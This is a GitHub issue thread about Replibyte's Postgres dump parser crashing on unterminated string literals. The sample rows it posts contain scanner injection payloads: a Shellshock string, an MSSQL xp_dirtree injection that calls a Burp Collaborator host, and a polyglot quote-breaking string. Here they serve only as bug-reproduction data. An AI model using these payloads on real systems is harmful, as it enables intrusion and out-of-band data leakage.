Replibyte icon indicating copy to clipboard operation
Replibyte copied to clipboard

The statement returned by list_statements is incorrect

Open Cluas opened this issue 3 years ago • 3 comments

postges dump error:

failing query: '...
INSERT INTO public.test (id, text) VALUES (1, 'calculate: exchange ,fee_id :3731: currency exchange rate not found () { :;'
thread 'main' panicked at 'TokenizerError { message: "Unterminated string literal", line: 1, col: 170 }', dump-parser/src/postgres/mod.rs:790:13

Cluas avatar Aug 23 '22 09:08 Cluas

add test.sql test.sql.zip

Cluas avatar Aug 23 '22 17:08 Cluas

DDL

-- DDL generated by Postico 1.5.20
-- Not all database features are supported. Do not use for backup.

-- Table Definition ----------------------------------------------

CREATE TABLE test (
    id integer DEFAULT nextval('lb_orders_id_seq'::regclass) PRIMARY KEY,
    text text
);

-- Indices -------------------------------------------------------

CREATE UNIQUE INDEX test_pkey ON test(id int4_ops);

DML

INSERT INTO "public"."test"("id","text")
VALUES
(204268,E'calculate: exchange ,fee_id :3731: currency exchange rate not found () { :;}; /bin/sleep 0'),
(204169,E'calculate: exchange ,fee_id :3247: currency exchange rate not found HKD\';declare @q varchar(99);set @q=\'\\\\cl1gtatvghwnx5lmnbsunjgdw42zqttvhm8a0xyln.burpcollab\'+\'orator.net\\xsa\'; exec master.dbo.xp_dirtree @q;-- '),
(204159,E'calculate: exchange ,fee_id :3823: currency exchange rate not found a\'a\\\'b"c>?>%}}%%>c<[[?${{%}}cake\\');

Cluas avatar Aug 23 '22 17:08 Cluas

Thank you @Cluas for reporting this issue. I am taking a look at potentially changing the SQL parser implementation because most of the opened issues are parsing issues.

evoxmusic avatar Aug 26 '22 17:08 evoxmusic